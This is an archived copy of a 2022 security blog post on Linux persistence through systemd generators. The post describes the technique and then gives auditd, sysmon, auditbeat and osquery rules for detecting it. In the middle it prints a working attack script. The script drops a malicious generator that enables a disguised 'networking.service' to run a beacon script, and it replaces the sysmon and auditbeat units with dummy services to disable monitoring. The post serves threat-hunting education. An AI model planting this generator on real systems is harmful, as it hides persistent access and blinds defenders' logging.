{
	"id": "fc193879-fb1e-4564-a6ba-18022f7c0832",
	"created_at": "2026-04-06T00:14:38.488675Z",
	"updated_at": "2026-04-10T03:24:18.07589Z",
	"deleted_at": null,
	"sha1_hash": "bd874e6a1da1738d659cfb4bc99e09022d295293",
	"title": "Hunting for Persistence in Linux (Part 5): Systemd Generators",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 731448,
	"plain_text": "Hunting for Persistence in Linux (Part 5): Systemd Generators\r\nBy Pepe Berba\r\nPublished: 2022-02-07 · Archived: 2026-04-05 16:50:03 UTC\r\nIntroduction\r\nIn this blogpost, we’re discussing a specific persistence technique that I haven’t read anywhere else. Because of\r\nthis, it seemed appropriate for it to have its own post.\r\nThe topics discussed here are the following:\r\nBoot or Logon Initialization Scripts: systemd-generators\r\nWe will give some example commands on how to implement these persistence techniques and how to create alerts\r\nusing open-source solutions such as auditd, sysmon and auditbeats.\r\nhttps://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\r\nPage 1 of 9\n\nLinks to the full version [image] [pdf]\r\nIf you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the\r\nappendix in part 1.\r\nLinux Persistence Series:\r\nHunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells\r\n1 - Server Software Component: Web Shell\r\nHunting for Persistence in Linux (Part 2): Account Creation and Manipulation\r\n2 - Create Account: Local Account\r\n3 - Valid Accounts: Local Accounts\r\n4 - Account Manipulation: SSH Authorized Keys\r\nHunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron\r\n5 - Create or Modify System Process: Systemd Service\r\n6 - Scheduled Task/Job: Systemd Timers\r\n7 - Scheduled Task/Job: Cron\r\nHunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration\r\n8 - Boot or Logon Initialization Scripts: RC Scripts\r\n9 - Boot or Logon Initialization Scripts: init.d\r\n10 - Boot or Logon Initialization Scripts: motd\r\nhttps://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\r\nPage 2 of 9\n\n11 - Event Triggered Execution: Unix Shell Configuration Modification\r\nHunting for Persistence in Linux (Part 5): Systemd Generators\r\n12 - Boot or Logon Initialization Scripts: systemd-generators\r\n(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others\r\nModify Authentication Process: Pluggable Authentication Modules\r\nCompromise Client Software Binary\r\nBoot or Logon Autostart Execution: Kernel Modules and Extensions\r\nHijack Execution Flow: Dynamic Linker Hijacking\r\n12 Boot or Logon Initialization Scripts: systemd-generators\r\nMITRE: https://attack.mitre.org/techniques/T1037/\r\nThere is no dedicated sub technique for this in MITRE ATT\u0026CK matrix. This is just something I stumbled upon\r\nwhile going through the systemd documentation and when researching about rc.local and init.d scripts in\r\nthe previous blogpost.\r\n12.1 What are systemd-generators?\r\nLooking at the debian man pages for systemd.generator.\r\nGenerators are small executables placed in /lib/systemd/system-generators/ and other directories\r\nlisted [below]. systemd(1) will execute these binaries very early at bootup and at configuration reload\r\ntime — before unit files are loaded.\r\nThe directories can be found in the man page but here are some persistent ones:\r\n/etc/systemd/system-generators/*\r\n/usr/local/lib/systemd/system-generators/*\r\n/lib/systemd/system-generators/*\r\n/etc/systemd/user-generators/*\r\n/usr/local/lib/systemd/user-generators/*\r\n/usr/lib/systemd/user-generators/*\r\nOne use case for this is backwards compatibility. For example, systemd-rc-local-generator and systemd-sysv-generator are both used to process rc.local and init.d scripts respectively. These executables convert\r\nthe traditional startup scripts into systemd services by parsing them and creating wrapper service unit files on\r\nboot. It is a preprocessing step for systemd before it runs any services.\r\nOther modules can also drop their own executable in one the listed locations and this will also be executed on boot\r\nor anytime the systemd configuration is reloaded. For example, installing openvpn results in a\r\n/usr/lib/systemd/system-generators/openvpn-generator\r\nThis is an interesting place to add a backdoor because systemd generators are executed very early in the boot\r\nprocess. In fact, this is the earliest place I’ve found to get an executable to run without going to the kernel or\r\ninstalling a rootkit. The generator executables are run before any service is started! So when defenders use loggers\r\nhttps://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\r\nPage 3 of 9\n\nand sensors services such as syslog , auditd , sysmon or auditbeat to monitor a machine, they won’t be\r\nrunning to catch actions done by the generators. Moreover, a malicious generator might be able to tamper with the\r\nservice unit files before they can run.\r\nBut there are constraints on this. The man page gives this note:\r\nGenerators are run very early at boot and cannot rely on any external services. They may not talk to any\r\nother process. That includes simple things such as logging to syslog(3) , or systemd itself (this\r\nmeans: no systemctl(1))! Non-essential file systems like /var/ and /home/ are mounted after generators\r\nhave run. Generators can however rely on the most basic kernel functionality to be available, as well as\r\nmounted /sys/ , /proc/ , /dev/ , /usr/ and /run/ file systems.\r\n12.2 Creating a malicious generator\r\nOur objective:\r\nCreate a malicious service that will run\r\nDisable sysmon.service and auditbeat.service\r\nWe assume that some script /opt/beacon.sh already exists. You can replace ExecStart with a different path or\r\neven add the reverse shell directly.\r\nWe drop a simple executable script in /lib/systemd/system-generators/systemd-network-generator . When it\r\nruns, it will:\r\nCreate a /run/systemd/system/networking.service unit file\r\nCreate a symlink to /run/systemd/system/multi-user.target.wants/networking.service to enable the\r\nservice\r\nCreate a sysmon.service and auditbeat.service that will overwrite the configuration of the original\r\nservices.\r\ncat \u003e /usr/lib/systemd/system-generators/systemd-network-generator \u003c\u003c EOF\r\n#! /bin/bash\r\n# Create networking.service and enabling it to run later in the boot process\r\necho 'W1VuaXRdCkRlc2NyaXB0aW9uPW5ldHdvcmtpbmcuc2VydmljZQoKW1NlcnZpY2VdCkV4ZWNTdGFydD0vb3B0L2JlYWNvbi5zaAoKW0luc3\r\nmkdir -p /run/systemd/system/multi-user.target.wants/\r\nln -s /run/systemd/system/networking.service /run/systemd/system/multi-user.target.wants/networking.service\r\n# Create adds dummy service unit files to overwrite sysmon.service and auditbeat.service\r\nmkdir -p /run/systemd/generator.early\r\necho 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbn\r\necho 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbn\r\nEOF\r\nhttps://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\r\nPage 4 of 9\n\nchmod +x /lib/systemd/system-generators/systemd-network-generator\r\nYou might wonder: “Why do we need to make a service unit file? Why don’t we run the /opt/beacon.sh in the\r\nbackground directly?”\r\nWell, this is the recommended way that systemd generators operate. For example, network functionality might not\r\nbe ready when the generators are executed. So it is simpler to generate service file instead and set\r\nnetwork.target as a dependency. However, it is possible to create a long running background process on boot; it\r\neither waits or retries until the necessary OS functionality becomes available.\r\nThe generated service file is very simple. If you want more info about this read the previous blogpost - 5.2.2\r\nMinimal service file\r\n[Unit]\r\nDescription=networking.service\r\n[Service]\r\nExecStart=/opt/beacon.sh\r\n[Install]\r\nWantedBy=multi-user.target\r\nOn the next reboot a networking.service service would be running\r\n$ systemctl status networking\r\n● networking.service\r\n Loaded: loaded (/run/systemd/system/networking.service; enabled; vendor preset: enabled)\r\n Active: active (running) since Wed 2022-02-02 06:42:47 UTC; 19s ago\r\n Main PID: 374 (beacon.sh)\r\n Tasks: 2 (limit: 4651)\r\n Memory: 15.7M\r\n CGroup: /system.slice/networking.service\r\n ├─374 /bin/bash /opt/beacon.sh\r\n └─377 bash -l\r\nOf course you can modify the value of ExecStart or the contents of /opt/beacon.sh to whatever script you\r\nwant.\r\nAlso because we have written new sysmon.service and auditbeat.service in\r\n/run/systemd/generator.early/ and this takes precedence over /etc/systemd/system and\r\n/lib/systemd/system (See order in systemd-analyze unit-paths ). The sysmon and auditbeat did not run\r\nthe correct daemons.\r\nhttps://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\r\nPage 5 of 9\n\n$ systemctl status auditbeat\r\n● auditbeat.service - \"Skipped\"\r\n Loaded: loaded (/run/systemd/generator.early/auditbeat.service; generated)\r\n Active: inactive (dead) since Wed 2022-02-02 07:15:30 UTC; 15s ago\r\n Process: 377 ExecStart=/usr/bin/echo Skipped (code=exited, status=0/SUCCESS)\r\n Main PID: 377 (code=exited, status=0/SUCCESS)\r\nFeb 02 07:15:30 host systemd[1]: Started \"Skipped\".\r\nFeb 02 07:15:30 host echo[377]: Skipped\r\nFeb 02 07:15:30 host systemd[1]: auditbeat.service: Succeeded.\r\n$ systemctl status sysmon\r\n● sysmon.service - \"Skipped\"\r\n Loaded: loaded (/run/systemd/generator.early/sysmon.service; generated)\r\n Active: inactive (dead) since Wed 2022-02-02 07:15:30 UTC; 26s ago\r\n Process: 380 ExecStart=/usr/bin/echo Skipped (code=exited, status=0/SUCCESS)\r\n Main PID: 380 (code=exited, status=0/SUCCESS)\r\nFeb 02 07:15:30 host systemd[1]: Started \"Skipped\".\r\nFeb 02 07:15:30 host echo[380]: Skipped\r\nFeb 02 07:15:30 host systemd[1]: sysmon.service: Succeeded.\r\nThe dummy service files we added just echo \"Skipped\" instead running the sysmon and auditbeat daemon.\r\n[Unit]\r\nDescription=\"Skipped\"\r\n[Service]\r\nExecStart=echo \"Skipped\"\r\n[Install]\r\nWantedBy=multi-user.target\r\n12.3 Detecting the creation of systemd generators\r\nIt is hard to monitor the execution of the systemd generators because they run on boot even before sysmon or\r\nauditd is running. Therefore our main way to combat this is to look for the creation and modification of systemd\r\ngenerators.\r\n12.3.1 auditd\r\nThis is not part of our reference Neo23x0/auditd](https://github.com/Neo23x0/auditd/blob/master/audit.rules),\r\nbut we can monitor the creation or modification of rc.local using the following auditd rule.\r\nhttps://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\r\nPage 6 of 9\n\n-w /etc/systemd/system-generators/ -p wa -k systemd_generator\n-w /usr/local/lib/systemd/system-generators/ -p wa -k systemd_generator\n-w /lib/systemd/system-generators/ -p wa -k systemd_generator\n-w /usr/lib/systemd/system-generators -p wa -k systemd_generator\n-w /etc/systemd/user-generators/ -p wa -k systemd_generator\n-w /usr/local/lib/systemd/user-generators/ -p wa -k systemd_generator\n-w /usr/lib/systemd/user-generators/ -p wa -k systemd_generator\n12.3.2 sysmon\nSimilarly, we don’t have a rule in microsoft/MSTIC-Sysmon for sysmon.\nBut we can create a rule to detect creation of files under the system or user systemd generators.\n/etc/systemd/system-generators//usr/local/lib/systemd/system-generators//lib/systemd/system-generators//usr/lib/systemd/system-generators//etc/systemd/user-generators//usr/local/lib/systemd/user-generators//usr/lib/systemd/user-generators/ The command above will result in the following log\n11241100x80000000000000003056Linux-Sysmon/Operationalpersistence-blog https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\nPage 7 of 9\n\n\u003cEventData\u003e\r\n \u003cData Name=\"RuleName\"\u003eTechniqueID=T1037,TechniqueName=Boot or Logon Initializa\u003c/Data\u003e\r\n \u003cData Name=\"UtcTime\"\u003e2022-02-06 13:10:59.595\u003c/Data\u003e\r\n \u003cData Name=\"ProcessGuid\"\u003e{8491267f-c8e3-61ff-89a1-493c44560000}\u003c/Data\u003e\r\n \u003cData Name=\"ProcessId\"\u003e6897\u003c/Data\u003e\r\n \u003cData Name=\"Image\"\u003e/usr/bin/bash\u003c/Data\u003e\r\n \u003cData Name=\"TargetFilename\"\u003e+/usr/lib/systemd/system-generators/systemd-network-generator\u003c/Data\u003e\r\n \u003cData Name=\"CreationUtcTime\"\u003e2022-02-06 13:10:59.595\u003c/Data\u003e\r\n \u003cData Name=\"User\"\u003eroot\u003c/Data\u003e\r\n \u003c/EventData\u003e\r\n\u003c/Event\u003e\r\nOne thing I am not sure, is why the target filename has a + at the start.\r\n\u003cTargetFilename condition=\"begin with\"\u003e/usr/lib/systemd/system-generators/\u003c/TargetFilename\u003e\r\nThis makes rules such as those above fail, and why I ended up using condition=\"contains\" .\r\nAt first, I thought this was because in debian lib is a symlink to /usr/lib but I’ve tried it creating my own\r\nsymlink and this behaviour was not replicated. I don’t know why this happens.\r\n12.3.3 auditbeats\r\nBy default, auditbeat will be able to monitor any of the directories above. You should try to include each one.\r\n- module: file_integrity\r\n paths:\r\n ...\r\n - /etc/systemd/system-generators/\r\n - /usr/local/lib/systemd/system-generators/\r\n - /lib/systemd/system-generators/\r\n - /etc/systemd/user-generators/\r\n - /usr/local/lib/systemd/user-generators/\r\n - /usr/lib/systemd/user-generators/\r\n # recursive: true\r\nNote that some of them might not exist by default like /etc/systemd/user-generators/ ,\r\n/local/lib/systemd/system-generators/ , or /usr/local/lib/systemd/user-generators/ .\r\n12.3.4 osquery\r\nSELECT path, filename, size, atime, mtime, ctime, md5\r\nFROM file\r\nJOIN hash\r\nUSING(path)\r\nhttps://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\r\nPage 8 of 9\n\nWHERE file.directory IN (\r\n '/etc/systemd/system-generators/',\r\n '/usr/local/lib/systemd/system-generators/',\r\n '/lib/systemd/system-generators/',\r\n '/etc/systemd/user-generators/',\r\n '/usr/local/lib/systemd/user-generators/',\r\n '/usr/lib/systemd/user-generators/'\r\n)\r\nORDER BY mtime DESC;\r\nWhat’s next\r\nIn the next blog post, I’ll try to wrap it up with some miscellaneous persistence techniques.\r\nPhoto by Vitaly Vlasov from Pexels\r\nSource: https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\r\nhttps://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/\r\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/"
	],
	"report_names": [
		"linux-threat-hunting-for-persistence-systemd-generators"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434478,
	"ts_updated_at": 1775791458,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/bd874e6a1da1738d659cfb4bc99e09022d295293.pdf",
		"text": "https://archive.orkl.eu/bd874e6a1da1738d659cfb4bc99e09022d295293.txt",
		"img": "https://archive.orkl.eu/bd874e6a1da1738d659cfb4bc99e09022d295293.jpg"
	}
}